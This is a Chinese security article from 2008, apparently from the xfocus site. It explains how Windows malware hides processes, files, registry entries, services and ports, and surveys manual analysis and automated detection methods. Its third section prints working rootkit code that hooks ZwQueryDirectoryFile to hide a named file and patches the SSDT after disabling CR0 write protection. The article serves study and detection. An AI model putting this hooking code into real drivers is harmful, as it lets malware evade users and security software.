xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

普通恶意代码技术分析与检测


创建时间:2008-03-07
文章属性:原创
文章提交:fleshwound (fleshwound_at_126.com)

fleshwound(fleshwound@smatrix.org)
http://www.smatrix.org
1 引言
  近些年来,恶意代码依赖一些特殊的Native API函数和内核系统函数进行感染、传播、隐藏的这种趋势愈加明显代码,并大量的使用了多重加密壳、驱动关联壳、变形壳等代码保护机制和多态和变形等新的技术。传统的恶意代码查杀技术遭到了严重的挑战。
恶意代码开发者想尽了各种办法,对进程、文件、注册表、系统服务、网络服务等各方面信息进行了控制,内核级的恶意代码做得更加巧妙和隐蔽。从技术上进行分类,恶意代码使用的技术手段可以分为:(1)用户模式系统调用劫持;(2)核心模式系统调用劫持;(3)核心模式数据篡改;(4)核心模式中断处理程序劫持。
2 对进程信息的控制
  大家知道,windows操作系统给我们提供了两套公开的API函数来获得进程信息:一套是PSAPI,通过EnumProcesses()函数来枚举进程,另一套是ToolHelp32,通过Process32First()和Process32Next()函数来获得整个进程列表.现在运行在用户层的恶意代码一般都会让自己在系统进程列表中消失,原理是HOOK上述进程相关API函数,将自身进程从最后的进程列表中去除,但这样做一般很容易发现。如图2所示,PSAPI和ToolHelp32都是通过调用位于ntdll.dll中的一个native API函数NtQuerySystemInformation()获取进程信息,而函数NtQuerySystemInformation()是依靠内核函数ExpGetProcessInformation()遍历ActiveProcessLinks,通过EPROCESS结构(其中包含ActiveProcessLinks项,类型为LIST_ENTRY)获得真实进程列表信息。整个环节中,内核态的恶意代码可以试图通过HOOK函数NtQuerySystemInformation()和函数ExpGetProcessInformation(),将自己的相关进程从返回结果中去除或者直接从ActiveProcessLinks摘除自身相关进程信息, 即要把要隐藏的进程的EPROCESS从LIST_ENTRY中摘除。另外几乎所有的反病毒查杀软件和系统进程软件使用 PsSetCreateProcessNotifyRoutine()来监视进程创建和销毁,但是令人遗憾的是该函数最多只能设置8个回调函数,因此有不少内核级的恶意代码被动隐藏自身相关进程的时候,还主动得销毁掉其它进程监控软件的使用的回调函数,让进程监控失效。
3 对文件和注册表信息的控制
  内核恶意代码往往要对自身宿主文件和所在目录进行隐藏,达到保护自身的目地。在NT内核操作系统中,与文件和目录相关的API函数基本上都是调用ntdll.dll中的几个Native API函数NtQueryVolumeInformationFile、NtQueryDirectoryFile、NtCreateFile、NtVdmControl(对应内核态下为ZwQueryVolumeInformationFile、ZwQueryDirectoryFile、
ZwCreateFile、ZwVdmControl),因此许多内核级的恶意代码基本上都会HOOK上面的这些函数。我们以HOOK函数ZwQueryDirectoryFile为例来阐明实现的基本原理:自己定义一个HookZwQueryDirectoryFile函数来处理一个名为alice的文件名,调用老的ZwQueryDirectoryFile获取真实文件和目录信息列表,然后在这个文件和目录信息列表中删除我们要隐藏的“alice”相关信息,最后将加工后的结果返回。对注册表的信息的控制也是采用同样的方法,对ntdll.dll中的NtEnumerateKey 、NtEnumerateValueKey或者它们的内核版本ZwEnumerateKey 、ZwEnumerateValueKey进行HOOK实现隐藏注册表。
//示例程序:自定义HOOK函数
ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile;//定义指向ZwQueryDirectoryFile函数的指针
NTSTATUS NTAPI HookZwQueryDirectoryFile(
                                       IN HANDLE FileHandle,
                                       IN HANDLE Event OPTIONAL,
                                       IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                       IN PVOID ApcContext OPTIONAL,
                                       OUT PIO_STATUS_BLOCK IoStatusBlock,
                                       OUT PVOID FileInformation,
                                       IN ULONG FileInformationLength,
                                       IN FILE_INFORMATION_CLASS FileInformationClass,
                                       IN BOOLEAN ReturnSingleEntry,
                                       IN PUNICODE_STRING FileName OPTIONAL,
                                       IN BOOLEAN RestartScan)
{
    NTSTATUS dwStAtus;                            //返回状态
    PFILE_BOTH_DIRECTORY_INFORMATION lpInfo;      //定义一个文件目录信息结构
//调用老的ZwQueryDirectoryFile获取文件和目录信息列表
dwStAtus=pOldZwQueryDirectoryFile(                                                                                          FileHandle,
  Event,
                                    ApcRoutine,                                                                 ApcContext ,                                                                     IoStatusBlock,                                                                       FileInformation,                                                                       FileInformationLength,                                                                        FileInformationClass,                                                                      ReturnSingleEntry,                                                                       FileName,                                                                        RestartScan);  
//以下在文件和目录信息列表中“过滤”我们要隐藏的“alice”,将加工后的结果返回
     if (FileInformationClass == FileBothDirectoryInformation)
     {
         if (dwStAtus == STATUS_SUCCESS)
     {
      lpInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;  //文件信息存在lpInfo结构
           if (RtlCompareMemory(lpInfo->FileName,L"alice",10) == 10)
       {
             if ((ULONG)(lpInfo->NextEntryOffset) != 0)
         {
                FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
RtlCopyMemory(lpInfo,
(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset)),
FileInformationLength-(((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset))-(ULONG)FileInformation)); }
            else
            {
               FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
               return dwStAtus;
             }
            //此时返回状态码STATUS_NO_SUCH_FILE;
    }
   do{
if (RtlCompareMemory(lpInfo->FileName,L"alice",10) == 10)
{
if ((ULONG)(lpInfo->NextEntryOffset) != 0)
{ FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
RtlCopyMemory(lpInfo,(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+ (ULONG)(lpInfo->NextEntryOffset)),FileInformationLength-
(((ULONG)lpInfo + (ULONG)(lpInfo->NextEntryOffset))-(ULONG)FileInformation)); }
else
{ FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
           break;}
     continue;
     //此时返回状态码STATUS_NO_SUCH_FILE;
      }
        if (lpInfo->NextEntryOffset != 0)
{lpInfo=(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset));}
    } while (lpInfo->NextEntryOffset != 0);
  }
}
return dwStAtus;
}
对应的在恶意代码驱动程序入口DriverEntry()也要做相应的处理,通过修改系统服务信息表将系统对ZwQueryDirectoryFile的调用指向对HookZwQueryDirectoryFile的调用,完成HOOK过程.

//利用pOldZwQueryDirectoryFile指向原有函数ZwQueryDirectoryFile
pOldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(
KeServiceDescriptorTable->ntoskrnl.ServiceTable[*(PULONG)((PUCHAR)ZwQueryDirectoryFile+1)]);
_asm   //嵌入汇编模式,取消写保护
{
  PUSH EAX
CLI                    //禁止中断
  MOV EAX, CR0           //将CR0中写到EAX寄存器
  AND EAX, NOT 10000H    //禁止WP标志位
  MOV CR0, EAX           //写回CRO
  POP EAX
}
KeServiceDescriptorTable->ntoskrnl.ServiceTable[*(PULONG)((PUCHAR)ZwQueryDirectoryFile+1)]= (ULONG)HookZwQueryDirectoryFile;//将原来的ZwQueryDirectoryFile调用指向我们自定义的函数.
_asm //恢复写保护
{
PUSH EAX
MOV EAX, CR0          //将CR0中写到EAX寄存器
  OR EAX, 10000H        //恢复WP标志位
  MOV CR0, EAX          //写回CRO
  STI                   //允许中断
  POP EAX
}

4对系统服务和网络信息的控制
    对系统服务的控制主要是针对advapi32.dll的四个系统函数EnumServiceGroupW、
、EnumServicesStatusExW、EnumServicesStatusExA、EnumServicesStatusA进行HOOK,过滤掉返回结果中的恶意代码启动的服务信息,原理和前面的文件信息控制几乎是一样的。对网络信息的控制方法更多,比如在TDI层次上进行拦截,TDI 导出了两个设备 “\\Device\\Tcp ”与 “\\Device\\Udp”,内核恶意代码用设备过滤驱动的方法把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动,这样可以达到以达到隐藏任意端口的目的。在NDIS驱动层上进行拦截,恶意代码自己处理自身远程控制用的封包。
5 恶意代码的手工分析方法  
每一种恶意代码分析方法都有自己的特点,能够分析的恶意代码特征也有较大差异,手工进行恶意代码分析需要几种方法联合使用,相互之间取长补短。通常情况下,手工分析恶意代码需要完成以下几个步骤:
S1、利用静态特征分析的方法分析恶意代码的加密和压缩特性(比如各种壳),提取恶意代码的有关的文件名称、文件校验、特征码、特征字符串等特征码;
S2、通过动态调试法来评估恶意代码运行过程中对系统文件、注册表和网络通讯状态的影响。由于这种分析方法需要实际运行恶意代码,因此可能会对恶意代码所在的操作系统构成严重安全威胁,一般处理方法是在虚拟机上运行恶意代码,并且建立前后注册表和系统快照;
S3、通过静态语义分析,根据S1和S2的结果判断恶意代码的功能模块构成、具体功能、可能使用的技术和实现方式;
S4、利用S3分析结果,再次进行跟踪调试,重点观测静态分析过程中不太明确的功能领域和实现方式;
S5、对恶意代码所有技术特征进行评估,并给出详细的报告。
根据上述的分析过程描述,虽然可以得到比较全面的恶意代码信息,但是可以看出一方面手工分析恶意代码是非常耗时和低效率的,另一方面需要分析人员具有较高的专业素质和分析经验。
6 当前恶意代码自动检测技术现状分析
  恶意代码的分析方法有多种类型,一般我们可以将恶意代码分析方法分成基于代码特征的分析方法、基于代码语义的分析方法、基于代码行为的分析方法三种。目前大部分反恶意代码软件所用的自动检测方法有病毒特征码、启发法、完整性验证等:
(1)基于特征码的检测法:这是使用最广泛和最古老的方法,通过密罐系统提取恶意代码的样木分析采集他们的独有的特征指令序列,当反病毒软件扫描文件时,将当前的文件与病毒特征码库进行对比,判断是否有文件片段与已知特征码是否匹配;
(2)启发式检测法:这种方法的思想是为恶意代码的特征设定一个阈值,扫描器分析文件时,当文件的类似恶意代码的特征程度,就将其看作是恶意代码。例如对于某种恶意代码,一般都会固定的调用特定的一些内核函数(尤其是那些与进程列表,注册表和系统服务列表相关的函数),通常这些函数在代码中出现的顺序也有一定的规律,因此通过对某种恶意代码调用内核函数的名称和次数进行分析,我们可以建立一个个恶意代码内核函数调用集合,比较待查程序调用的内核函数和数据库中已知恶意代码的内核函数调用集合的贴近度;
(3) 基于行为的检测法:利用病毒的特有行为特征来监测病毒的方法。当程序运行时,监视其行为,如果发现了病毒行为,立即报警,另外行为特征识别通常需要使用类神经网络一类方法来训练分析器,并能够准确的用形式化的方法来定义恶意代码的特征。
(4)完整性验证法:这种方法主要是检查程序关键文件(比如重要的SYS和DLL)的CRC或者MD5的值与正常值进行比较。
(5) 基于特征函数的检测方法:恶意代码要实现特定功能,必要使用系统的API函数(包括内核级和用户级的),因此如果某个程序调用了危险的特定函数集合,我们有理由怀疑其可能是恶意代码.在程序加载之前,对于引入的任何程序文件,我们扫描其代码获得其系统函数集合(这个过程可能需要代码逆向技术和虚拟机配合),与我们实现根据对多个恶意代码分析设置好的一系列特征函数集合做交集运算,就可以知道该程序文件使用了哪些危险的函数,并大致可以估计其功能和属于哪种类型.
方法一的缺点是新病毒特征码的提取速度要落后于病毒的传播,另外的缺点是无法检测到那些在运行过程中能够进行多态变形的恶意代码。方法二和方法三缺点是误报率比较高、不能识别具体病毒类型,实现时一般与神经网络和模糊聚类等方法一起使用,实现起来难度很高。方法四的检测能力十分有限,无法检测并发现动态的恶意代码和新的代码。
除此之外,实际开发中我们主要还使用以下技术:
(1)比较法。通过直接利用一些底层方法在内核驱动中直接获得信息,再与通过常规使用系统函数方法获取信息比较,如果发现两种方法得到的信息不一样,我们有理由怀疑存在恶意代码。
(2)进程状态分析法。例如通过内核线程函数KiWaitInListHead、KiWaitOutListhead等和一些寄存器标志来检测从那些ActiveProcessLinks上摘除自身隐藏的恶意代码进程。
(3)统计法。根据操作系统取某项系统信息所执行的CPU操作执行指令和指令时间的统计特征与真正系统的比较,我们也可以发现一些恶意代码的踪迹。著名的内核Rootkit检测方法EPA可以说属于这一类
    以上方法中(1)和(2)较为成熟,许多杀毒软件都是采用了,方法比较可靠,但速度慢。方法(3)速度较快,但目前还不成熟,误报率较高,离真正实用高效还有很长的一段路要走,我们以后还将继续在这方面做一些工作。
〔这是去年年底的技术报告的第一篇,第二篇关于rootkit的还没有整理好,前面大牛mj0011谈了下关于rootkit的,今天这里列举的我也没有涉及到DKOM,DM,INLINE FUNCTION HOOK,HIJACK IRP等一系列深入的技术,留给大牛们继续介绍。小菜在这里感谢我的朋友welfear,牛人sinister等人的热心帮助,感谢smatrix系统开发小组的各位成员!〕
[参考文献]
[1] NAGAR R. Windows NT file system internals.New York: O.Reilly,2007
[2] (美)Jeffery Richter著.Windows 核心编程.北京:机械工业出版社,2006
[3] PolyMeta,突破 Windows NT 内核进程监视设置限制[EB/OL].http://www.whitecell.org ,2007-6-10
[4]tombkeeper的一篇技术报告,忘题目了。